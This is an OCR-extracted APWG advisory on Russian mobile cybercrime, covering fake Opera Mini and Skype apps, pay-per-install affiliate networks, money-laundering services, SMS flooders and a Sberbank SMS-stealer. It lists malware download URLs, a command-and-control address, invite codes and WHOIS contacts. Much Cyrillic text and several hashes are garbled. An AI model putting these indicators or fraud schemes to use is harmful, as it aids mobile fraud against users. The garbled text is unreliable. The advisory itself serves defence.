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Infroduction

Underground cybercrime services

A thriving underground economy exists in the mobile market where cybercriminals

adapt tried and tested techniques, used to exploit PC users, as well as a growing
number of innovative techniques developed specifically for the rapidly expanding
portable device arena.

Russian cybercriminals, known for their technological skills and expertise, have been
quick to take advantage of less savvy or ill-prepared mobile users and to exploit
vulnerabilities, some of which are device specific and inherent.

This supplement expands on the white paper entitled Mobile Threats and the
Underground Marketplace. It presents background information and additional detail to
the issues raised. It does not intend to cover all known exploits in the mobile market
but to provide a snapshot of some of the techniques currently favored by the most
successful of cybercriminal enterprises in, mainly, Eastern Europe and the Russian
Federation. In a global market, though, some exploits have the ability to ensnare a
wider audience and bigger targets.
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Pay by Install - Fake Mobile Browsers

Unscrupulous operators launch targeted attacks on unsuspecting mobile users via
affiliate agents engaged in commission-based programs. Agents may be fully aware of
the intended operation, but many remain unaware, that installs contain malicious
programs that send users to fake browsers. One of the most popular mobile browsers

in the Russian

Federation has recently been the target of successful attacks.

1) Opera Mini

Once downloaded this service distributes several variants of mobile malware (illegal
SMS and mobile content subscriptions) under Opera Mini landing pages.

SmsPurple.Ru - MpespaTnm nio6oii WAP-Tpadmk B cTabuibHbie AeHbm!

§: Sm=Purple.Ru - Npespar: niobok WAP-Tpadme & crabunmuoie genbr!

MpusercTBylo BCex unTateneii hopymal
- Naprise por]

06 SMS, KOTOpas MOMOra&T YEMelHO MOHETUUPOBATS MOBUMbHLIN TPaGHK.
3anorom ycrewHocTM cysar Tp
!

AIOLX HAWei NAPTHEPCKOM NPOTPaMMB! -

(€HUS! MOXKEM MPOLEMOHCTPHPOBATD M MOATBEPAMTH HA MPAKTHKE - NPOLITY AOYUTATH U MPOCMOTPETD CKPUHILOTH! NIEHAMHIOB 1 NPUIOKEHMH
OLIEHNTE TO, KEK Mbl MOAXOAUM K CBOEMY /ey, KaXAas MENoub BAXH3 U ABNASTCR 3 ZUBOM.

+ Dxcknoans R PROMO Ma CaMA NPAAYMBIBAEM MO HALIVX NIEHAUHIOS W MAANETOS,

« Compemennan u ru SMs

+ SUPERPROMO Gaydating, MMUTaLVR 2arpyzicn U T4

« Tpoiiuan asTopuzaLs OpOM LISHOBOi KaTeropuit HOMepos

* ExeHesiensHble Bbinnar: vem KO¥i MPOLIEHTHOM CTaBKOM,

3 W CnaXeHHo# patoTh

3an0r YCTIEWHOCTIA MOHETMSaLMY TPadH!
npoexTa
¥ Bac nmeeTcsi WAP-TPadiK - OTAMUHO, Mbl P2/isl NpeaCTa

AcuT nonko BHEX pelleHuli NapTHEPCICOii NPOrPaMMi, OSTOMY PENIEHO MOKA3aTH MANYIO YaCTb YCMEWHOM M

0 TOBHII NeHAUHT OperaMi

2CNeUMEAET HeNPEEaDFIEHHYO

IKOHOMIID TRADIKA

® Teneps ByHKWAA Opera Turbo
cTana ewe Bonee
WHTENNEKTYANEHOF Ha MOBTHBN:
YETPORGTBAX,

® Eriamaap cHiskeHso 0fbEmos
FATRPRAEMEIX AAHHED bl DYAeTE
MNATHTE FOPAGAD MEHLILE 34
M6ML3053HHE HHTERHETO M

© Opera-ini ABNASTE A MOLHLIN
GRAY3ERDM 4 MOEANLHD NORXDANT
ANAWI-F ceTeit 1 BeanMMMTHED:
BLICOKOCKORDCTHEIX N0/AKNIOUEHMT

MoaAepska Adobe
Flash
—
noAepska
AL
MoBHILEHHaR
Opera » Opera gnA Teneoros GE30NacHOCTe
P2 Opera-Mini 6.6
Opera-Mini B.6 ana ecex
woene - ryww cnocos
SLIETH 8 UHTEpHET ¢ NoMALLI0
Tene(boKa NH CHAPTOOKa
Q= copyright® 2012 Opera
ver 6.6 ver Sotware ASA. All lights resenved

xaparepucrra SEELE E6

cnaxenrioli padors

Figure 1: Fake Opera-Mini application distributing malware on mobile traffic (WAP, WEB)

An example of this operation exists on: SmsPurple.ru (94.75.199.211, AS16265

NL/Leaseweb B.v.)

domain:
nserver:
nserver:
state:

person:

registrar:

admin-contact:

created:

SMSPURPLE.RU
dnsl.yandex.net.
dns2.yandex.net.
REGISTERED, DELEGATED, UNVERIFIED
Private Person

NAUNET-REG-RIPN

https://client.naunet.ru/c/whoiscontact

2011.12.02
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Recent investigations found around 130 WEB-sites spreading fake mobile browsers
using Opera Software brand in .RU and .COM domain name zones.

Ne

Domain name

VirusTotal analytics

1

http://opera-
Itd.com/opera mini android

https://www.virustotal.com/file/7cectba862
5f7a0f65edde293d5e2134204f6ba072cfdcbla

download.html - Android
malware

5c9ea307e4b77e7/analysis/1360329941/

http://opera-
Itd.com/opera mini ios down

https://www.virustotal.com/file/443555ab3
3050042bd6aal0318a4dfbe665abf1207eb68c

load.html - iOS malware

958478adf2c6d31b1/analysis/1360330172/

http://operamini-

sonyericsson.ru/ - Nokia

Symbian malware

https://www.virustotal.com/file/e617b1501
07303116153a271e0££16£81db1b0a06£f9009c6
76a1769048d7497 /analysis/1350635477/

http://operaminis5230.ru/ -
Nokia Symbian malware

https://www.virustotal.com/file/e617b1501
07303116153a271e0£f16£81db1b0a06£f9009c6
76a1769048d7497/analysis/1350635477/

http://g-torrent.ru/Opera-
12.00.exe - Windows Mobile
malware

https://www.virustotal.com/file/8d4b28776
5ae33141ec469b7842bf8675£d22912e68bebd
017420f64£f69a028/analysis/1343897094/

http://apdat-
opera.ru/d.php?a=1&nb -
Nokia Symbian malware

https://www.virustotal.com/file/8ad495489
dle2da878cbe863bcd453ae3a9880667a2679%¢
27c00dd2038f49d72/analysis/1338910414/

http://6-opera-
mini.ru/d.php?a=1&nb - Nokia
Symbian malware

https://www.virustotal.com/ru/file/b99{d34
1f12ab56175ee83e04bcal7c3b198e49¢605151
cc302cc81bf6bf935b/analysis/1338905206/

http://1-
opera.ru/d.php?a=1&nb -
Nokia Symbian malware

https://www.virustotal.com/file/d7926b8ba
1bd67cc121888284492e53d230f26£5686150d
3e2330405ccd5829d/analysis/1338904430/

http://www.operall-
download.ru/Opera-
installer.exe - Windows Mobile

malware

https://www.virustotal.com/file/d256513b9
2ae88833c4cd73ecc9690e372b24124ba81fbe6
9284b8661f4c8773/analysis/1335621177/

Android mobiles are targeted with fake acceleration applications.
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EITCIFIEI. dBNAKDLaA 'fl:::I'IE:LLIHOI;‘i MOHETHUZaLMKA TFIEI¢I|!1PC KNHoJYaeTCA MOM NpUNOXEHWE, KOTOpOE OTNP
Mbl He CcTanu KONWPOBATH YyXKe uaen, a W BeCbMa YyCTapeBlWKWMM Ha Hall BErNAL BbirNAOAT MHOTHME NpUNoXxeH

Tak BOT, YTo NPeAnNarasTCcA NOC/Ae arpy3KkK NPUI0KEHWA C NeHguHra OperaMini:

IcCQ HaCT[]EIlT"(a be3onacHOCTH Hacmul‘-’ma BesonacHOCTH

BOMbLWE CTPAHML, |ﬁnaruﬂ,apﬂ cxaTnio MEM  Gnarogapa cxaTuio
MEHbLUE OXUAaHNA @ ABHHBIX | AaHHbN

FIHTEPHET ELLE HMKOrLa He Bein
Takuk BbICTRBIM Ha BaWEr
TENEOHE, CTREMMTENEHEA
OTRWMCOBKR CTPEHKL, 1 CHATHE
N aHHbX HAa CEpEEQE NO3BONAET

Apay3iepy Opera 3arpysaTh

BEEA-CTPaHMUBl TOpasno GuICTPEE

BTN ﬁpawepua_ TakMme D}]yHKLI,l-’IM, ABCATYH) HACTe OT Tpattllfll{a, AECATYH) HacTe OT TpanHKa,

Kak afpecHan NaHens, OABMHD MCNONESYEMOTD 4TI OFBMHD MCNONESYEMOTD 4TI

KNABMATYPHAA HABMIALKMA KW Bpayiepani, CHUMaA CTRaHKMUBl Ha  Bpay3iepami, CHUMEaA CTRaHKMUBl Ha
IKPAHHOE YNPABNEHWE IKOHOMAT 90%. B CBOW OMEpEAL Opera 90%. B cBOWD o4epEdE Opera
£ i EEH 10 i 4 RE EHHOM OOl

MPUHATE 04:21 BLIATK AEs0

Figure 2: Fake mobile-acceleration application on Google Android

The underground cybercriminal economy thrives through a wide scope of
applications as illustrated in the above examples.

2) Fake social network applications

Social network applications are at risk from mobile malware. Cybercriminals tend to

target well-known applications in order to maximize profits.

There are several types of mobile malware variants that fake applications such as
Opera, Jimm, VK, Odn, Skype and Gaydating and may be found in many countries:
Nigeria, Greece, Finland, Romania, Canada, Denmark, Belgium, Australia, Kyrgyzia,
Poland, Chile, Portugal, US, Vietham, among others.

A typical fake application shows the download progressing to 23% and then makes a
payment to the SMS provider.

In the Russian Federation the popular dating website Vkontakte.ru (VK.com) is
targeted as the following example shows:
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o
r : _‘_\: H -

PyqHaA HAacTpOMKa CXaTHMA TpadWka Py4HaA HACTPOAKS CHaTWA Tpatika

INA 3aBEPIUEHKA HMMTE
'HacTpouTe'

HacTpoiika

FNA 3aBEPWEHKMA FMUTE
'HacTpouTe'

SE ERE 2| LT =

Cornacutech, Gonbllee foBepUe Bbi3biBa
K npumepy, B nocnegHeM npunoxeHan "
- B OT MO ¥ - 3

Fake

Figure 3: Fake social networking application for VK.com

social networking

applications

operate through malware such

Java/SMSSend.AY or Trojan/]2ME.Agent.

3

Fake Skype a

S

as

Popular mobile applications are targeted by cybercriminals. Fake Skype applications
exploit unsuspecting users by sending expensive and unsolicited SMS messages that
earn the operators vast sums in illicit revenue.

The following table illustrates a sample of recent mobile malware that exploits the

Skype

application:

No

Domain name

VirusTotal analytics

1

http://skype-three-
os.com/skype-android-
download.html
Android malware

Google

https://www.virustotal.com/file/db379a9b5
c6b69a7ce504d6e9fb32c91c3bc97a950838519
59a€9d3753e0c02d/analysis/1360336864/

http://iskyper.ru/uploads/evae

https://www.virustotal.com/file/a3b175ecc0

r video recorder for skype 1.

9£36£2dc675da53e6065f06571e5a7a3310c36£f

2.0.17.rar - Windows Mobile
malware

f22eef4ec9df79/analysis/1360335469/
(evaer_video_recorder_for_skype_1.2.0.17.r
ar)

http://games-goo.ru/skype.exe

https://www.virustotal.com/file/b73e9bea8

- Windows Mobile malware

bb4d238c679b35a684163e73bfc19f25fca2252
d005£16cd28931f2/analysis/1349255603/
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CravaTte Skype (Crain) gna MTC 1055

SERR S AP T pHS T WETE 105

Figure 4: skype-three-os.com (IP: 91.208.16.14)
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Subscription Services

In the underground mobile market in the Russian Federation, malware traffic is spread
via key players such as: ZipWap, Phoneconvert, Stimulpremium, Load-Wap, Wizard-
mobile, WapSyst. Some require a special invite to become a member, by way of
security, as some similar services are banned due to the abuses.

1) ZipWap.rv
The main monetization scheme of ZipWap.ru is through paid installs both on mobile

and the web.

ZipWap.ru has more than 60 special paid numbers for different countries, including
USA, CA, UK and others.

ZipWap.ru: MOHETHZaLUMA BCero MmobunbHoro Tpadmea. bonee 60 crpaH, mogynu, Android

#: ZipWap.ru: monetzaumn scero mobunohoro Tpadwka. Bonee 60 cipas, mopynm, Android
ZipWap.ru: MoHeTUzauma Bcero mobunoHoro Tpadwmka. bonee 60 ctpaH, mogynuw, Android

[obpbiii aeHb. C pagocTbio NPeACTaBNAeM BaM HOBOE PELIeHME NO KoHBepTauuu BCEMO moGunbHore Tpadwka - ZipWap.ru.

NapTHeEpPCKaA NporpaMmMa, NozBoNALWan M 13NbHO NpOCTO U 3¢I¢IEI—TI’HE:HO MOHETH2EHPOBATb MOGHHIJHYK}EI
CAManbHO I'Ipv]ﬁt-lﬂbHO KOHBEEDTUpPOBAaTL CB ATOPMID Ha H3WWX pewednax. Mol npeqnaraem CaMbii I.IJHpOI(Hﬁ B

Figure 5: ZipWap.ru

ZipWap.ru is one of the oldest cybercrime mobile subscription service, in operation
since 2011:

icqg 603559347, zipwaprul@gmail.com

domain: ZIPWAP.RU

nserver: nsl.reg.ru.

nserver: ns2.reg.ru.

state: REGISTERED, DELEGATED, VERIFIED
person: Private Person

registrar: REGRU-REG-RIPN

admin-contact: http://www.reg.ru/whois/admin contact

created: 2011.05.29
paid-till: 2013.05.29
free-date: 2013.06.29
source: TCI

ZipWAP is one of the most highly-technological underground services - it offers DLE,
Wordpress, uCoz integration, custom API and CMS integration on Google Android
and Nokia Symbian platforms. But, fake applications are automatically generated as
part of the package.
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The operator charges for the J2ME install and its content, while the user remains
unaware the application is loaded with malware that generates the fake applications.

|039p (CKauHBaeT MuaneT
WOMNaynBaeT JOCTYN K KOHTEHTY

MapTHep Gnokupyet gocryn K daitny ¢ Zipwan MapTHep AoBoneH, momyaet npubbITb
nomoLubto migneta ZipWap.ru 33 NPOJAXKY KOHTEHTa

Figure 6: ZipWap offers highly technological services spiked with fake Android and Symbian
applications

- MuANeTbl C NoKanM3aLme.

Brigatowmecs npoMo MaTepuanbl
Mbl noCTapanucb NpegyCcMOTPETb BCEe BOZMOMHbIE BAapWaHThl CMBa Tpadwuka v npeanos

5 javascript peavpexTsl;
- yaobHbIiA Ayns DLE;
- 2 pazHbix Mogyna ana UCOZ;
- APT;
- cucTema dainosoro Noucka;
W MHOTOE ApYroe.

YaobHaa cTaTUCTUKA

Figure 7: Android is a target

2) Load-WAP

One of the largest underground services involved in mobile malware distribution is
“Load-WAP” with around 1 770 members. This service targets Russia, Belorus,
Kazahstan, Armenia, Moldovia, Estonia, Latvia, Litva and Israel.

Some ‘Load-WAP” members earn more than $6,000 per day through the distribution
of malware, illustrating a high-conversion rate:
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22.07.201 16234 835 119 2922.09 p. 0.00 p. 4743723 .
23.07.201 114982 627 119 2T46.36 p. 0.00 p. 32906.93 p.
24.07.2011 10378 572 118 2969.34 p. 0.00 p. 30815.86 p.
25.07.2011 18017 998 118 2570.04 p. 0.00 p. 46304.34 .
26.07.2011 7370 329 1:22 217571 p. 0.00p 16035.01 p.

Figures 8: Load-WAP.com

Load-Wwap.com

ﬂ lf.‘-i load-wap.com

; Apple iCloud Facebook Twitter Wikiipudia fupexc Yahoo! Hopocu ™ nmm'

IponaseneHsi! MpueeTcTByEM!
R Bt e B KomaHga load-wap paga npyBeTCTEBOBATE Bac M XOTUM NPpeanoX1Te BeIrogH
ONA KoHBEpTaUMKW MobBunsHoro Tpaduka

BT Bam, wro
IpWeHEl B NOAHOM

1ATHOI  paboTel ¥ KAK 2TO PABOTAET?

Bam aapaboTtuos!
THA HOBOW BEDCWAW

Figure 9: Load-WAP.com

Domain Name: LOAD-WAP.COM
Registration Date: 08-Nov-2011
Expiration Date: 08-Nov-2013
Status:LOCKED
Name Servers:

nsl6.dnsever.com
ns55.dnsever.com

ns86.dnsever.com
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Registrant Contact Details:

PrivacyProtect.org

Domain Admin ( cnntact@prwacyprntect.nrg)

ID#10760, PO Box 16

Note - Visit PrivacyProtect.org to contact the domain o
wner/operator

Nobby Beach

Queensland, QLD 4218

AU

Tel. +45.36946676

Load-WAP targets Google android applications and pays its agents up to 80% per
install. The service also offers private mobile malware applications for VIP members
on iPhone and iPad, but this is no longer published.

Load-Wap
OT3blBbl: 4 APUDD CKHAKKA
Bm-m ‘©UNbTP OT3bIBOB | Chpocute |
s e ) UcTouHmKm
"""" 2012: 4 searchengines.ru 3 antichat.ru 1
O Ao O O s
("] ToNkKO HeraTuBHblE
nomen ¢ 2011.11.08  PR: 2
Faaax: PaBotaw c MM,BCE NoKa MAET rNanko,coBeTYIo,yaauu pebaT
P o TouTHyTs Faaax s 0 KO, YO, YA p
m Corruptsouls: He 3Halo UTO U KaK, MABHOE UTO NNATAT BO BPEMA W BCErAa JEnatnT AOCPOUKM Tak e pajyer
e ) () (e KOHBEPT Ha HOBLIX NEHAMHIax
CYETYMK OT3biBOB AnA Load-Wap:
Jp-designs: NN peanbHo KNaccHan, pebAT 3HaeM HE NEepBbIA rof - MM YecTHLIE W afeKBaTHLIE CBOMX He Korga
F Jp-Cesigns
He bpocaT! B obLeM ryd NaK M HawBbICLLMEe peKOMeHJaLMK )

Koa CChlnkW:

Belero: A cimMean MM I0S TpadKK KOrAa OHW GbIM Ele B NPUBATE, TaM YHMKANLHEIE NNATHUKW UMEHHO Noa
iPhone+iPad, aganT ecTb, KOHBEPT HOPM. MOTOM NEPEBEN UM DCTANLHOM CBOW Tpad, A CNWBaK JYepes TAC
napanensHo K HWM W ellle B 04HY NapTHEPKY, MCNoMb3yHo cyTpy. MoKa 4oBoneH BceM.

<a

href="http: //zapili.net/pa
rtner/341/"
title="OT3sien 0 Load-
Wap"><img

1

src="http://zapili.net/zco

— Ha caWT Load-Wap

Figure 10: Load-WAP private VIP services for Apple iOS traffic
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| 4| P> ] |E] & forum.searchengines.ru

&3 [I] & Apple iCloud Facebook Twitter Wikipedia Swoexc Yahoo! Hoeoct ™ lMonynapHele ¥ Me

: Wudop... } Collect... ‘1 Exo.ml 1 load-w... 1 Load-... 1 MOHET. .. r-s‘;;;é‘_-—

A =TENEd O SRl EY P

7| NepeiTn kK HOBOMY

[]16.01.2012, 16:58

Ioad Wap .—",—} Load-Wap.com — moHernaaums wap Tpadmka, konseprum 105 nocernrenei, J

Banned
Mpuser

PerncTpauma: 07.01.2012
CoobweHwKi: 38

XOTHM 2HOHCMPOBaTbL 3anyck NapTHEpPCcKol nporpaMmel - load-wap.com
PenyTauws: 9389

Peructpauus

NoapobHee -

80% cTaHAapTHLIA PelT (NpM BLICOKMX 06beMax pelT ao 90%)
Pedepansckas cucrema = 5%

PasnuuHble CxeMbl aBTOPUIALMK

YRo6HBIA M Y HKUMOHANbHBIA KOHCTPYKTOP MMAIETOB
MpveaTHbIE pPelIEHHMs ANA NapTHEpPOB

KoHeeprum iOS-Tpaguk ( iphone,ipad...)

Mapkoexa AoMeHOB

OpyxeniobHeli cannopt

*® " 8 0 8 8 "0

W MHoroe gpyroe

Figure 11: Load-WAP special iOS landing pages for VIP members

3) StimulPremium

WueaiTel Stimulpremium

61C57A41
C2AABTT4
B37CECC1
DC931B96
2299BFEB
481121CA
4FF46244
018AB6A3
DOB7CA10D

7D2DBAB2

Figure 12: Stimulpremium private registration invites

Registration Service Provided By: DOMAIN NAMES REGISTRAR
REG.RU LTD.

Domain Name: STIMULPREMIUM.COM
Registration Date: 26-Apr-2011
Expiration Date: 26-Apr-2013
Status:LOCKED

12
An APWG Industry Advisory
http://www.apwg.org e mobile@apwg.org
PMB 246, 405 Waltham Street, Lexington MA USA 02421



http://www.apwg.org/
mailto:mobile@apwg.org

White Paper: Mobile Fraud — a Supplement
APWG Mobile Crimeware and Criminal Services Market - May 2013

Name Servers:
nsl.reg.ru
ns2.reg.ru
Registrant Contact Details:

PrivacyProtect.org

Domain Admin ( cuntact@prwacyprntect.urg)

ID#10760, PO Box 16

Note - Visit PrivacyProtect.org to contact the domain o
wner/operator

Nobby Beach

Queensland, QLD 4218

AU

Tel. +45.36946676

Figure 13: StimulPremium domain lock for private VIP webmasters

4) Supporting Infrastructures

Cybercriminals benefit from the support of “friendly” financial services. Some of the
revenues generated by mobile malware are channeled through Webmoney (WMR) or
by banking transfer through EPESE. EPESE is an anonymous money laundering
service where it is not necessary to open a bank account in order to transfer sums of
money or to receive revenue from other underground partner programs.
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Services similar to EPESE are affiliated to famous ‘pharma’ underground programs
such as ‘RX-Affiliate-Network’ and are well-known in some adult webmasters
communities.

Other opportunities to ‘cash out’ illicit sums are provided by services such as EPESE
through special prepaid cards which are sent out anonymously to members.

Login

% Bxon & cucTemy EPESEj e B st

Password

Gabbinv napons?

Fnasxan O crcreme PerncTpauna KonTakTei Cnpaska Nornn

PerncTpaura
XotuTe
CTaTh KIMEHTOM? Cepauc EPESE - cuctema MHTEpHET-PACcHETOB.
Ona Toro 4ToBbl CTaTh WALWWM  KNMEHTOM CHCTM Mm'mnepeﬂ BaMM HOBbIE BO3MMKHOCTU
o y o v v Tioems rore o MIHOBEHHB X UHTEPHET-PACYETOR B PEKVIME PEATTHOM BPEMEHM.

NOMY4HTE NWCBMO OT HALLEre NPEACTABMTENA W
CTAHETE  NCMHONPEBHLIM  NCMb3ICEATENEM
CHCTEMDbL

MoABwnKch BONpock? Ha WWx nogpoGHo W

CBOBBPEMEHHO  OTBETWT  Hawa  crywba IHCKIIHIMBHEIE AOTOBOPEHHOCTH C Axxaynt 8 cucteme EPESE npeocTansier

TORRGHEN. OCHOBHLIMM NMATEKHLIMH CHCTEMaMU BO3MOKHOCTE GLICTPO 1 GE30NACHO NONYMaTL
NS NOMY4eHUA BLINNaT. MNPOM3BOOMTL BLINNATLL, YTO MOMONET Nerye

1 HHEKTUBHES YNPARNATE CEOWMMM A0XOAAMM.

HoBsoctu:

22.01.2013 »

CpoK efioras aKuyan GocnnaThoro saKasa Kapr Hawwa cucTema no3BonseT:

or kounaww Epayments wcTexkaer 01.02.2013,

Cnewwure sakazark kapry Gecnnarhol

23.11.2012 Moxynats u OcylecTaNATL yAoGHLIe Nonyyars BLINNATL! Mpou3soauTs

B obmewnom cepauce EPESE Exchangs npojaBarh BIAUMOPACHETEI OT NAPTHEPCKIAX onMaTY yoryr

3ANYWEHS BOIMOKHOCTE ObMena © WMZ wa TpadhiaKk Beb-macTepamu nporpamm 3a XOCTHHI

xapris Epayments

Figure 14: Prepaid cards sent out anonymously

[ > ] [2] [ 3 v master—x.com; o

&3 [T] BE Apple iCloud Facebook

witter Wikipedia finpexc  Yahoo! Homocru ¥ Monynaphsie

Menin otmeriny ua oto  Awton Amxumon  Mens oTMeTHnu Ha doto

EPESE - cucTeMa AnsA YAoGHbIX M 6bICTPbIX B3aMMopacuyeTos! PacwmpeHHbiii nouck no dopym:

HoBas Tema

AsTOp Coobwenne
& Dmitry[EPESE] D floSapneno: 26/05/11 B 16:33 @ yuraTa
Ro6peiii aeHs,

C wami € 19.12.08

Coobuwenns; 79 MHorme u3 sac yxe wy c EPESE. ECTb Take W Takue, KTO EWe HE yCNen HauaTh COTPYAHHHEETEO C HamM.

Fefianr: 36 B AaHHOM pa3jiene Mbl NOCTAPANMCL COBPATE BCIO OCHOBHYIO MHDOPMALMIO 0 paGoTe cucTeMsl EPESE, KOTOPAs, Mbl HAJl@eMcs, MOMOXET BaM B
AansHeiwed paGore. Takxke Mbl GyAeM pans! NH06LIM BAWKM NPEANOKEHHAM ¥ OT3bIBAM, TAK KK OHM NOMOryT HAaM NOANEDKHBATL BLICOKHMH YPOBEHL

cepsuca u GyayT BOBaTHL Yy ¥ cHCTRMbI.
Mrak, cuctema EPESE coBoii n ans BLIETPbIX W yA0B: P Mexay paMm u
nparp . Takxe © Wbio Hawel cUcTEMbI NP onnary b
I",. Bce B cucTeme np B 2BTOMaTHYECKOM pexwuMe M EBpeMeHH.
Ha AaHHbIA MOMEHT B cUCTEME TAKTCA Bvasl
- npuem BanKoBCKMX nepesoaoe B USD u EUR (komuceun 0%);
- npuem y ¢ 0%, )i
- BHYTDEHHHE nnarexm ( );
& cucTemy y ( 2%, ae );

- MCXOAAW WA 6AHKOBCKUI nepeeoa B USD M EUR (koMuccua 0.5% (min $30 wnu €20));
- MHKECCO YEKOB (CTIELMAILHLIE BLIFOAHLIE YC/IOBMSA A5 YEKOB DT NOMY/NAPHBIX KOMNAHMIA);
- nononHenme neGeToBoi kapTsl Payoneer MasterCard (koMnccus 1% (min $5), BLINONHASTCA ABTOMATMYECKK)

p KapT Pay MasterCard, P P (npw ycnoeuu ana )]

THNEBI aKKAYHTOB.
B cucreme EPESE np pevo asa Tvna «C " «VIP. 5
Tun «CTaHaapTHLIi» NPHUCBAMBABTCA aKKayHTy cpa3dy nocne per 8 cucreme. B, HbIX AKKAYHTOB HEAOCTYNHBI TaKne
onepauMm, Kak 3aKas HoBOi KapTel Pay , MPHEM W OTMp p ¥ MHKaCcCOo YeKoB.
Ons y <VIP- " BCEX cepsuca caoio . Onsi
" NMUYHOCTH UBETHBIE KOMMW MNaBHOM 3ar ©

P W CTpaHMy BHYTP NacnopTa CTpaHsl C yKa3aHWEM JIMUHBIX AaHHLIX W aAPeca NOCTOSHHOH pervcTpaumu.

KapTel.

B cucteme EPESE MOXHO OCYWecTBASTL paboTy ToNbKo © kapramu Payoneer Prepaid MasterCard. B ans kapt Pay

The Choice Bank Ltd. CyTOUHBIA NMMWT ANA KapT Payoneer cocTaBnAeT $5000, M3 KoTopeix $2500 AOCTYMNHBI ANA CHATWA B GaHKOMaTe v $2500 Ha
e3HanuuHbIE TPAHIAKUMK. CPE/CTBA C KAPT MOKHO CHMMATh BO BCex BaHKOMaTax, DECIYKHBAIOWNX KapTel MasterCard, a Takoxe UCnonL3osaTh Ans
annaTel ToBapoB M ycyr B 6 cTBE ToYeK, Np uiMx K onnate MasterCard.

Figure 15: Money laundering services discussed on adult webmasters communities’

1 http://www.master-x.com/forum/topics/151109/
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Mobile Banking Malware

Mobile banking malware is available in a variety of applications. Malware that diverts
banking funds provides the greatest potential for damage to both the user and
financial institutions. As mobile banking gains in popularity, and becomes readily
available to every banking client, these types of attacks will increase.

One of the most well-known Trojans, to-date, targets Android and Blackberry; ZitMo
— “Zeus in the Mobile”, is confined mainly to European countries although it is still
responsible for grabbing millions in euros.

OTP (One Time Password) has proved to be susceptible to interception. SMS or MTAN
code grabbing precedes the illegal transfer of money; the malware hides incoming
message notification giving cybercriminals the time to make the transfer and to
confirm the transaction through the compromised online account.

Another popular malware blocks incoming calls from the bank call-center number.
This enables a money-mule to call the bank instead of the client and to confirm the
transfer details.

Other types of mobile banking malware are examined in more detail:

1) Flooders (Skype, ICQ SMS)

Cybercriminals use special tools like Skype Flooders and ICQ SMS flooders which are
useful, too, for “smishing” attacks.

Spay.exe E 1cQ sms flooder

YuacTHuk opyMa

Peructpauun: 16.04.2010 1CQ sms flooder
CooBlieHnn: 254
gpnm nﬁyne. MNMporpaMmMa-thnyaep Mo6MneHOro TenedoHa nocpen

Penytauun: 10

=)

\ °'11S Jflooder

Homep:

<] 7961

@aiin "ICQ;naponk™
"CADELPHIsync)ICQ SHS Flooderisttxt” o3|

Tekcr.
B (tsme .1cQ)

npuBeT 13 aga

CraTncruka

Homepos:

MoAASpHHBAIOTEA TONBKO HOMEpa
OAaWH HoMep ICQ NO3BONAET OTMPABMTL! 5 CMC.

TeKeT aGOHEHTY NPHUXOAMT B BUAe

Figure 16: Example of SMS flooder using ICQ for SMS developed by Spay.exe

15
An APWG Industry Advisory
http://www.apwg.org e mobile@apwg.org
PMB 246, 405 Waltham Street, Lexington MA USA 02421



http://www.apwg.org/
mailto:mobile@apwg.org

PermcTpaywn: 07.05.2010

PenyTauma :
CooGlenni: 4

White Paper: Mobile Fraud — a Supplement

Mobile Crimeware and Criminal Services Market - May 2013

&

Skype Flooder ICQ:605-113
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|\Sta’[us c:ulurjl 4 Stop ¥
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£ Stop /I
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L

i
L

* Call Flood )

Serdto ) |echo1 23

| 4 Send to all p

794567

] +
) |

| Cs= )

3s

http:f/www.sendspace.com/file/gsbvOr

Figure 17: Skype Flooder by MS-DOS 3.0 (kod.cc)

During operation “Bliezkrig”, Russian cybercriminals used customised programs to
centrally manage the flooding of calls using Skype VOIP. The program used pre-

recorded voice calls?.

2 http://blogs.rsa.com/cyber-gang-seeks-botmasters-to-wage-massive-wave-of-trojan-attacks-

against-u-s-banks/
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How to Flood Telephones - Service from vorVzakone_(360p).flv

Figure 18: Courtesy of YouTubes

How to Flood Telephones - Service from vorVzakone_(360p).flv

Figure 19: Cybercriminal “VorVZakone”, Russian carders - Courtesy of YouTube*

In the same way, Skype-flooding botnets can be organized from infected machines.
The malware checks the customers’ balance first, then it performs several calls to the
victim.

Sometimes such techniques are combined with ‘Caller-ID’" spoofing for phishing or
with tools that bypass protection measures.

3 http://www.youtube.com/watch?v=FRswkzFQtxc

4 http://www.youtube.com/watch?v=qzHg9{r871Y
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2) SMS Stealers

In 2012 malware exploiting vulnerabilities in Google Play were uncovered by Russian
analysts.

The malware targeted the leading Russian national bank, Sberbank, creating havoc for
its mobile banking clients and grabbing millions in illicit funds. The malware part of
the Android package was named «sber.apk» consisting of 225,905 bytes and attacked
the md5 hash: F27D43DFEEDFFAC2EC7E4A069B3C9516°.

Further analysis resulted in the malware being classified as «<SMSStealer. APK» and
identified as designed to infect Android devices. The first step decompresses the
archive and then converts files with the name «classes.dex» to file format «Jar». By
using «Java Decompiler» files can then be converted as required.

a . META-INF Manka c gainamm
& res Manka c gafnamm
éi| AndroidManifest.x... 5KB  Jowkyment XML

w | classes.dex 400 KB ®awn "DEX"

& | resources.arsc 17 KB @ain "ARSC"

Figure 20: File conversion of ‘'SMSStealer.apk’

The malware displays an authentic looking interface on the device to request
authorization from the user via a phone number verification process.

55 Ml @& 10:53 8w
Phone number verification

Eeegure Homep TenedoHa:

8

Do authorization |

&

CBEPBAHK

Bceraa praom

Figure 21: Mobile banking malware interface for Russian bank " Sberbank”

Once the phone number is enter and «Do authorization» clicked, the application sends
the system information to a remote server URL «http:// berstaska.com/m/fo125kepro».

5 Group-IB Forensics Lab: http://www.group-ib.com/
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This data contains the mobile phone number, the name and version of the operating
system, the name of the service provider, the mobile country code and other valuable
personal information.

Interestingly, the malicious domains used to collect the data, “berstaska.com” and
“lekerdeka.com” are well-known to security experts; they have been used in the past
in connection with the ‘Carberp” malware.

The domains in more detail:

Domain Name: BERSTASKA.COM
Registrant: N/Amerab mekokayan

(gooddoctor222289@yahoo.com)

sk 8 box18 NY, 334777 US
Tel. +1.3049583484

Creation Date: 26-0ct-2012
Expiration Date: 26-0ct-2013

Domain servers in listed order:dcl.nserver.rudc2.nserver.ru

Domain Name: LEKERDEKA.COM
Registrant: N/ASergey Bezumov
(gooddoctor222299@yahoo.com)

PU BOX 81 1 92 NY ,325236 US
Tel. +1.33873847374
Creation Date: 26-0ct-2012
Expiration Date: 26-0ct-2013

Domain servers in listed order:dcl.nserver.rudc2.nserver.ru

Both domain names linked to nserver.ru NS-servers and registered anonymously.
Both the MalwareURL database® and Group-IB Bot-Trek™7 confirmed more than
twenty Carberp C&C linked through the DNS of this operator.

At the time of the study network address «berstaska.com» was unavailable.

6 http://www.malwareurl.com/

7 http://www.group-ib.com/index.php/investigation/44-link-bot-trek
